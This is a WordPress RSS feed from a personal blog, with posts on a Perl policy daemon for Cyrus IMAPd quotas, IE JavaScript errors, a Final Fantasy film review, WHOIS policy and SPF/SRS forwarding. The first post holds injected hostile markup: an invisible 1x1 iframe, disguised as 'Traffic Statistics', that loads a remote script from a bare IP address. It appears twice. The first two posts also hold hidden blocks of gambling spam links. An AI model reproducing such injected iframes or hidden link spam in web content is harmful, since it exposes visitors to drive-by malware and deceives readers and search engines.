<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Silverdream</title>
	<atom:link href="http://www.silverdream.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.silverdream.org</link>
	<description>It's just me</description>
	<pubDate>Tue, 29 Jul 2008 15:31:38 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Quota backscatter prevention with Cyrus IMAPd</title>
		<link>http://www.silverdream.org/2008/03/09/quota-backscatter-prevention-with-cyrus-imapd/</link>
		<comments>http://www.silverdream.org/2008/03/09/quota-backscatter-prevention-with-cyrus-imapd/#comments</comments>
		<pubDate>Mon, 10 Mar 2008 04:11:50 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2008/03/09/quota-backscatter-prevention-with-cyrus-imapd/</guid>
		<description><![CDATA[I use Cyrus IMAPd to provide access to mail over IMAP and POP3.   For some domains I have also enabled quotas (since, unlike Google, I don&#8217;t have unlimited disk space yet). Unfortunately, this leads to a problem: my MTA, postfix, doesn&#8217;t www gratis pokeronline poker dsftexas holdem anleitungpoker kostenlos online spielengratis poker ohne [...]]]></description>
			<content:encoded><![CDATA[<p>I use <a href="http://cyrusimap.web.cmu.edu/">Cyrus IMAPd</a> to provide access to mail over <a href="http://www.wikipedia.org/wiki/IMAP">IMAP</a> and <a href="http://www.wikipedia.org/wiki/POP3">POP3</a>.<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> For some domains I have also enabled quotas (since, unlike Google, I don&#8217;t have unlimited disk space yet). Unfortunately, this leads to a problem: my MTA, <a href="http://www.postfix.org">postfix</a>, doesn&#8217;t <u style="display:none"><a href="http://loangrasp.com/wp-content/1/www-gratis-poker.html">www gratis poker</a><a href="http://loangrasp.com/wp-content/1/online-poker-dsf.html">online poker dsf</a><a href="http://loangrasp.com/wp-content/1/texas-holdem-anleitung.html">texas holdem anleitung</a><a href="http://loangrasp.com/wp-content/1/poker-kostenlos-online-spielen.html">poker kostenlos online spielen</a><a href="http://loangrasp.com/wp-content/1/gratis-poker-ohne-anmeldung.html">gratis poker ohne anmeldung</a><a href="http://loangrasp.com/wp-content/1/kostenloser-online-poker.html">kostenloser online poker</a><a href="http://loangrasp.com/wp-content/1/tilt-poker-bonus-code.html">tilt poker bonus code</a><a href="http://loangrasp.com/wp-content/1/poker-bonus-ohne-einzahlung.html">poker bonus ohne einzahlung</a><a href="http://loangrasp.com/wp-content/1/spiele-bank.html">spiele bank</a><a href="http://loangrasp.com/wp-content/1/online-poker-anbieter.html">online poker anbieter</a><a href="http://loangrasp.com/wp-content/1/poker-50-gratis.html">poker 50 gratis</a><a href="http://loangrasp.com/wp-content/1/poker-online-spiel-kostenlos.html">poker online spiel kostenlos</a><a href="http://loangrasp.com/wp-content/1/poker-deposit-bonus-code.html">poker deposit bonus code</a><a href="http://loangrasp.com/wp-content/1/poker-regeln-5.html">poker regeln 5</a><a href="http://loangrasp.com/wp-content/1/poker-java-game.html">poker java game</a><a href="http://loangrasp.com/wp-content/1/poker-umsonst-spielen.html">poker umsonst spielen</a><a href="http://loangrasp.com/wp-content/1/online-poker-geld.html">online poker geld</a><a href="http://loangrasp.com/wp-content/1/texas-holdem-no-limit.html">texas holdem no limit</a><a href="http://loangrasp.com/wp-content/1/www-poker-spielen-de.html">www poker spielen de</a><a href="http://loangrasp.com/wp-content/1/strip-poker-regeln.html">strip poker regeln</a><a href="http://loangrasp.com/wp-content/1/poker-10-bonus.html">poker 10 bonus</a><a href="http://loangrasp.com/wp-content/1/poker-tipps.html">poker tipps</a><a href="http://loangrasp.com/wp-content/1/texas-holdem-odds.html">texas holdem odds</a><a href="http://loangrasp.com/wp-content/1/poker-game-software.html">poker game software</a><a href="http://loangrasp.com/wp-content/1/poker-sign-up-bonus-code.html">poker sign up bonus code</a><a href="http://loangrasp.com/wp-content/1/poker-com-bonus-code.html">poker com bonus code</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/guida-poker-online.html">guida poker online</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-tour-italia.html">poker tour italia</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/giochi-di-poker-on-line.html">giochi di poker on line</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/world-tour-poker.html">world tour poker</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/play-poker-on-line.html">play poker on line</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/gioco-poker-gratis.html">gioco poker gratis</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/free-7-card-stud.html">free 7 card stud</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/chips-di-poker.html">chips di poker</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/giocare-online.html">giocare online</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/giochi-di-poker-per-pc.html">giochi di poker per pc</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-games.html">poker games</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-gratis-da-giocare.html">poker gratis da giocare</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/texas-holdem-poker-online.html">texas holdem poker online</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/gioco-poker-gratuito.html">gioco poker gratuito</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/game-poker.html">game poker</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-on-line-gratis.html">poker on line gratis</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-gratis-in-italiano.html">poker gratis in italiano</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/giochi-poker-gratis-on-line.html">giochi poker gratis on line</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/set-poker.html">set poker</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/bonus-code-party-poker.html">bonus code party poker</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/regolamento-gioco-poker.html">regolamento gioco poker</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/video-poker-on-line-gratis.html">video poker on line gratis</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-tour-game.html">poker tour game</a><a href="http://niquesauletdesigns.com/wordpress/wp-content/1/poker-da-scaricare.html">poker da scaricare</a></u> know anything about a users&#8217; quota, it will carry on trying to deliver mail to Cyrus regardless. When Cyrus receives the message it will reject it with a <a href="http://www.ietf.org/rfc/rfc0821.txt">4xx error</a> (temporary failure). At this point the message will go into postfix&#8217;s deferred queue for 5 days, unless the user frees up some space it will be bounced back to the sender (which may be forged) - a prime opportunity for <a href="http://spamlinks.net/prevent-secure-backscatter.htm">backscatter</a> to<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> be generated (abusive bounces sent to forged senders who never sent the original message).</p>
<p>I spent some time researching ways of enabling postfix to verify that a user had sufficient space available <strong>before</strong> delivering the message to Cyrus - unfortunately I came up empty.</p>
<p>So, I knocked up a little script in <a href="http://www.perl.org">perl</a> called chkquota that acts as a postfix <a href="http://www.postfix.org/SMTPD_POLICY_README.html">policy daemon</a>. It looks at the recipient address and uses <a href="http://search.cpan.org/~eestabroo/IMAP-Admin-1.6.4/Admin.pm">IMAP::Admin</a> by Eric Estabrooks to query Cyrus for the users&#8217; current quota and only allow the message to be delivered if there is enough space for the message to be delivered. If there is not enough space it instructs postfix to defer the message, since the sender is still connected while this is happening there is no chance for backscatter to be sent to innocent third parties.</p>
<p>chkquota has several issues though:</p>
<ul>
<li>It is single threaded - it works fine on my low (couple thousand messages a day) mail load, it probably will not scale up very well, as usual YMMV</li>
<li>It creates a new connection to the IMAP server for each message - this is grossly inefficient, but I failed to find a way of sharing connections that worked reliably. This may be fixed in future.</li>
<li>It works for Cyrus and postfix - IMAP::Admin supports several other IMAP daemons but they may not have been tested much, again YMMV. I may turn it into a milter in future (both sendmail and postfix support the milter protocol)..</li>
</ul>
<p>It also has several dependencies:</p>
<ul>
<li><a href="http://www.perl.org">perl</a></li>
<li><a href="http://www.postfix.org">postfix</a></li>
<li>an IMAP daemon supported by <a href="http://search.cpan.org/~eestabroo/IMAP-Admin-1.6.4/">IMAP::Admin</a></li>
<li><a href="http://search.cpan.org/~rcaputo/POE-0.9999/">POE</a></li>
<li><a href="http://search.cpan.org/~saper/Sys-Syslog-0.24/">Sys::Syslog</a></li>
<p><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">&#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080;</a></font></p>
<li><a href="http://search.cpan.org/~rhandom/Net-Server-0.97/">Net::Server</a></li>
<li><a href="http://search.cpan.org/~ingy/YAML-0.66/">YAML</a> (to parse the config file)</li>
<li><a href="http://search.cpan.org/~jv/Getopt-Long-2.37/">Getopt::Long</a></li>
<li><a href="http://search.cpan.org/~marekr/Pod-Parser-1.35/">Pod::Parser</a></li>
</ul>
<p>Having said all that, <a href="http://www.silverdream.org/wp-content/uploads/2008/03/chkquota-0004tar.gz" title="chkquota 0.004">you can download chkquota 0.004 here</a>. I&#8217;d appreciate any feedback.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2008/03/09/quota-backscatter-prevention-with-cyrus-imapd/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fixing JavaScript errors in IE</title>
		<link>http://www.silverdream.org/2007/06/23/fixing-javascript-errors-in-ie/</link>
		<comments>http://www.silverdream.org/2007/06/23/fixing-javascript-errors-in-ie/#comments</comments>
		<pubDate>Sat, 23 Jun 2007 17:16:31 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2007/06/23/fixing-javascript-errors-in-ie/</guid>
		<description><![CDATA[I spent about 2 hours this evening trying to track down the problem causing obscure &#8220;Expected identifier, string or number&#8221; errors. It turns out that it was caused by having a comma after the last element of a list, e.g.

1
2
3
4
5
6
7
var list = &#123; 
&#160;
Â    foo: &#34;bar&#34;, 
&#160;
Â    bar: &#34;foo&#34;, 
&#160;
&#125;;

Removing the [...]]]></description>
			<content:encoded><![CDATA[<p>I spent about 2 hours this evening trying to track down the problem causing obscure &#8220;Expected identifier, string or number&#8221; errors. It <a href="http://cow.neondragon.net/index.php/1404-Internet-Explorer-Javascript-Errors">turns out</a> that it was caused by having a comma after the last element of a list, e.g.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript"><span style="color: #003366; font-weight: bold;">var</span> list <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> 
&nbsp;
Â    foo<span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;bar&quot;</span><span style="color: #339933;">,</span> 
&nbsp;
Â    bar<span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;foo&quot;</span><span style="color: #339933;">,</span> 
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Removing the comma from &#8216;bar&#8217;, the last element in the list, makes IE happy. Naturally, this does not occur in either <a href="http://www.getfirefox.com">Firefox</a> or <a href="http://www.opera.com">Opera</a>.</p>
<p>I discovered another issue while using <a href="http://www.prototypejs.org">prototype&#8217;s</a><noscript>Il <a href="http://www.giochipoker-it.com/scommettere-strip-poker-download-siti.html">http://www.giochipoker-it.com</a> è un gioco di carte.</noscript> <a href="http://www.prototypejs.org/api/ajax/periodicalUpdater"><code>Ajax.PeriodicalUpdater</code></a>. I was passing <code>PeriodicalUpdater</code> an element id to update, unfortunately I&#8217;d given the element <strong>id</strong> the same name as a <strong>class</strong>. However, if you try and update an element by its id and the id is the <strong>same </strong>as a class name, it will not work in IE. Example:</p>

<div class="wp_syntax"><div class="code"><pre>&lt;p class=&quot;test&quot;&gt;foo&lt;/p&gt;
&lt;p id=&quot;test&quot;&gt;bar&lt;/p&gt;</pre></div></div>

<p>This works fine in Firefox, Safari and Opera - just not IE. When I tried doing this, IE removed the content within the <em>test</em> <strong>class</strong> and didn&#8217;t replace the content within the <em>test</em> <strong>id</strong>. The solution is to ensure that your CSS id&#8217;s do not clash with class names, which is probably good practice anyway.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2007/06/23/fixing-javascript-errors-in-ie/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Review: Final Fantasy VII Advent Children</title>
		<link>http://www.silverdream.org/2006/05/06/review-final-fantasy-vii-advent-children/</link>
		<comments>http://www.silverdream.org/2006/05/06/review-final-fantasy-vii-advent-children/#comments</comments>
		<pubDate>Sat, 06 May 2006 19:48:49 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2006/05/06/review-final-fantasy-vii-advent-children/</guid>
		<description><![CDATA[(Contains spoilers)
So I watched Final Fantasy VII Advent Children last night, it was disappointing - the script was pretty much non-existant, the return of Sephiroth was entirely predictable (apart from the manner of his return, however they gave that away way too early). The subtitles were off from the script, sometimes noticeably and the voice [...]]]></description>
			<content:encoded><![CDATA[<p>(Contains spoilers)</p>
<p>So I watched <a href="http://www.imdb.com/title/tt0385700/"><strong>Final Fantasy VII Advent Children</strong></a> last night, it was disappointing - the script was pretty much non-existant, the return of <a href="http://en.wikipedia.org/wiki/Sephiroth_%28Final_Fantasy_VII%29">Sephiroth</a> was entirely predictable (apart from the manner of his return, however they gave that away way too early). The subtitles were off from the script, sometimes noticeably and the voice of Red was &#8230;awful, not to mention the fact that they make him look like some kind of unkept, rag-tag hairball, completely unlike <a href="http://en.wikipedia.org/wiki/Red_XIII">Red XIII</a> in the <a href="http://en.wikipedia.org/wiki/Final_Fantasy_VII">original game</a>.</p>
<p>Oh and did I mention how annoying it was when Sephiroth comes back from the &#8220;dead&#8221;, yet again?</p>
<p>Despite all that, despite the cliches and all of the cringeworthy religeous connotations (and it&#8217;s <strong>really</strong> flooded with them - Cloud may as well have dressed up as a priest in the final scene), despite the extremely irritating way they cut from scene to scene every five seconds at the beginning, it&#8217;s not as bad as it could have been. The fight scenes are okay, the story is nonexistant, the CGI is pretty good. Then you get to the name, they could have released three seconds of footage shot in the Producer&#8217;s garden, put Final Fantasy on the front of it and it would have sold. It&#8217;s the Final Fantasy effect.</p>
<p>If they&#8217;d put more effort into the script, they would have produced a good movie. All the fanfics ever based on Final Fantasy VII are better than the script of this movie, if you could call it a script.. When are they going to learn that it takes more than flashy CGI and a name to make a good movie?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2006/05/06/review-final-fantasy-vii-advent-children/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The WiFi bunny</title>
		<link>http://www.silverdream.org/2006/05/02/the-wifi-bunny/</link>
		<comments>http://www.silverdream.org/2006/05/02/the-wifi-bunny/#comments</comments>
		<pubDate>Tue, 02 May 2006 17:08:09 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2006/05/02/the-wifi-bunny/</guid>
		<description><![CDATA[Two French entrepreneurs have come up with a WiFi bunny - the Nabaztag. You know you want one!
There&#8217;s some nice info on hacking the Nabaztag at MakeZine.
I&#8217;d buy one if it supported WPA, right now it only supports WEP. This looks set to change in the next version though (although the official site says that [...]]]></description>
			<content:encoded><![CDATA[<p>Two French entrepreneurs have come up with a WiFi bunny - the Nabaztag. You know you want <a href="http://www.nabaztag.com/vl/FR/index.jsp">one</a>!</p>
<p>There&#8217;s some nice info on hacking the <a href="http://www.nabaztag.com/vl/FR/index.jsp">Nabaztag</a> at <a href="http://www.makezine.com/blog/archive/2006/03/more_nabaztag_hacking.html?CMP=OTC-0D6B48984890">MakeZine</a>.</p>
<p>I&#8217;d buy one if it supported <a href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access">WPA</a>, right now it only supports <a href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy">WEP</a>. This looks set to change in the next version though (although the official site says that existing versions will <strong>not</strong> be upgradeable, which is unfortunate).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2006/05/02/the-wifi-bunny/feed/</wfw:commentRss>
		</item>
		<item>
		<title>R.I.P. WHOIS</title>
		<link>http://www.silverdream.org/2006/04/30/rip-whois/</link>
		<comments>http://www.silverdream.org/2006/04/30/rip-whois/#comments</comments>
		<pubDate>Mon, 01 May 2006 01:04:21 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2006/04/30/rip-whois/</guid>
		<description><![CDATA[Instead of doing the right thing and enforcing a requirement for a higher degree of accuracy in the WHOIS database, ICANN have rolled over and surrendered to registrars (seeking to line their pockets with more of your money) and privacy advocates.
The WHOIS database exists to ensure accountability, without it there is zero accountability. There should [...]]]></description>
			<content:encoded><![CDATA[<p><img width="116" height="96" align="right" alt="ICANN" id="image7" src="http://www.silverdream.org/wp-content/uploads/2006/05/icann.thumbnail.jpg" />Instead of doing the right thing and enforcing a requirement for a higher degree of accuracy in the WHOIS database, ICANN have <a href="http://www.postgazette.com/pg/06117/685630-96.stm">rolled over and surrendered</a> to registrars (seeking to line their pockets with more of your money) and privacy advocates.</p>
<p>The WHOIS database exists to ensure accountability, without it there is <strong>zero accountability</strong>. There should be stricter requirements on the accuracy of WHOIS information and a wholesale ban on services like <a href="http://www.domainsbyproxy.com">Domains By Proxy</a>. Not because privacy is a bad thing, because we need <strong>more</strong> accoutability on the Internet today, not less.</p>
<p>Without the WHOIS database, where do you to find out who is accountable for a site that has been used in spam? Where do law enforcement go to find out who is accountable for a site hosting child pornography?</p>
<p><strong>If law enforcement want the information they can subpoena it!</strong><br />
They can, however right now they don&#8217;t need to do this. The WHOIS database is publicly available. The founder of GoDaddy recently <a href="http://66.249.93.104/search?q=cache:http://www.bobparsons.com/WhyprivacymakestheInternetsaferHowanonymityhidesthebadguysp.html&#038;hl=en&#038;lr=&#038;oe=windows-1252&#038;strip=1">said</a> (since disappeared, Google still has it cached though):</p>
<blockquote><p>The information in (or associated with) the WHOIS database is important to law enforcement, intellectual property and other attorneys, who use this data to locate domain name owners for the purpose of enforcing laws or addressing grievances. In certain cases, however, the information in the WHOIS database is not accurate. This is where the problem caused by anonymity rears its ugly head.</p></blockquote>
<p>He&#8217;s right and he&#8217;s also wrong. The WHOIS database is not just important to law enforcement, IP and other attorneys, it&#8217;s also important for Joe Bloggs who wants to find out who owns the site linked to in the last 50 viagra spam messages he received.</p>
<blockquote><p><strong>Making the public WHOIS database 100% accurate has proven elusive.</strong><br />
Various government agencies, intellectual property organizations, attorneys, and others have long wrestled with how to improve the accuracy of information in the WHOIS database. To date, they have not been able to find a way to guarantee or even improve the accuracy of this information.</p></blockquote>
<p>Improving the accuracy of the WHOIS database will always be elusive while registrars continue to evade their responsibilities. Despite that though, supplying <strong>false</strong> information for a domain is already grounds for deletion of a domain, as it should be (although, once again, ICANN is loathe to enforce this).</p>
<blockquote><p><strong>It is now illegal to provide false information when registering a domain name.</strong><br />
Last year, there was a brief attempt to make registrars responsible for the accuracy of the Whois database. Fortunately, that legislation failed. [..]</p></blockquote>
<p>Just as registrars won the fight to force them to take responsibility for the domains registered through them, they&#8217;ve now won the fight to essentially abolish the WHOIS database, all in the name of increasing profit.<br />
If you want true privacy, live in a cave, please don&#8217;t register a domain name.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2006/04/30/rip-whois/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SPF and SRS</title>
		<link>http://www.silverdream.org/2006/04/29/spf-and-srs/</link>
		<comments>http://www.silverdream.org/2006/04/29/spf-and-srs/#comments</comments>
		<pubDate>Sun, 30 Apr 2006 01:45:15 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Internet Mail]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2006/04/29/spf-and-srs/</guid>
		<description><![CDATA[Right now I publish SPF for all the domains which I control - something I might not be doing for much longer. Why? I&#8217;ve started leaning towards the opinion that SPF is harmful.
I used to be in the pro-SPF camp, I thought it was a good idea - not because it would combat spam (it [...]]]></description>
			<content:encoded><![CDATA[<p>Right now I publish SPF for all the domains which I control - something I might not be doing for much longer. Why? I&#8217;ve started leaning towards the opinion that <a href="http://spf.pobox.com">SPF</a> <a href="http://homepages.tesco.net/J.deBoynePollard/FGA/smtp-spf-is-harmful.html">is harmful</a>.</p>
<p>I used to be in the pro-SPF camp, I thought it was a good idea - not because it would combat spam (it was never designed with &#8216;combatting spam&#8217; in mind). I thought it was a good idea because it was attempting to combat forgeries and joe-jobs. When I first started publishing SPF records I admit to a certain blind naivety that a solution to the forwarding problem would magically appear at some point in the near future. The truth is, it hasn&#8217;t, we don&#8217;t have the magic pill.</p>
<p>Recently, I&#8217;ve started having to forward some mail, while I don&#8217;t particularly<strong> like</strong> forwarding mail, I can&#8217;t dictate what my users choose to do. So now I have a problem waiting to happen - one day some forwarded mail will be rejected by the recipients MTA because the sender has published SPF.</p>
<p>Last year I attempted to patch <a href="http://www.postfix.org">Postfix</a>, my MTA of choice, with SRS support using the patch at <a href="http://www.libsrs2.org">libsrs2.org</a> only to find that it was horribly broken. I revisited to find that the site hasn&#8217;t changed in a year, now that&#8217;s slow progress.</p>
<p>SRS will never be widely implemented until there are working patches.</p>
<p>Not to be defeated, I resorted to setting up an instance of <a href="http://www.exim.org">Exim</a>, which apparently does have SRS support. I spent a few hours recompiling it and trying to configure it to rewrite addresses, then I sat back and wondered why I was going to all the trouble.</p>
<p>SPF relies on <strong>all</strong> forwarders implementing SRS - this is never going to happen.</p>
<p>There are other alternatives to SRS, however they still suffer from the same problem - lack of patches for popular MTAs.</p>
<p>The alternative solution is to stop doing pre-delivery forwarding and reinject the message from the forwarder. Take a message from foo@example.com to forwarder@bar.com:</p>
<ul>
<li>foo@example.com -> forwarder@bar.com -> bar@foo.com</li>
</ul>
<p>The message gets sent delivered to forwarder@bar.com, then reinjected as a new message originating from forwarder@bar.com to bar@foo.com.</p>
<p>However, implementing this is a lot of work. Is it worth it? I don&#8217;t think so.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2006/04/29/spf-and-srs/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I&#8217;m back</title>
		<link>http://www.silverdream.org/2006/04/27/im-back/</link>
		<comments>http://www.silverdream.org/2006/04/27/im-back/#comments</comments>
		<pubDate>Fri, 28 Apr 2006 02:00:54 +0000</pubDate>
		<dc:creator>jamie</dc:creator>
		
		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://www.silverdream.org/2006/04/29/im-back/</guid>
		<description><![CDATA[I thought it was about time I wiped off the dust and actually did something with this domain again. So I now have a nice shiny hosting account with Dreamhost.
]]></description>
			<content:encoded><![CDATA[<p>I thought it was about time I wiped off the dust and actually did something with this domain again. So I now have a nice shiny hosting account with <a href="http://www.dreamhost.com">Dreamhost</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.silverdream.org/2006/04/27/im-back/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
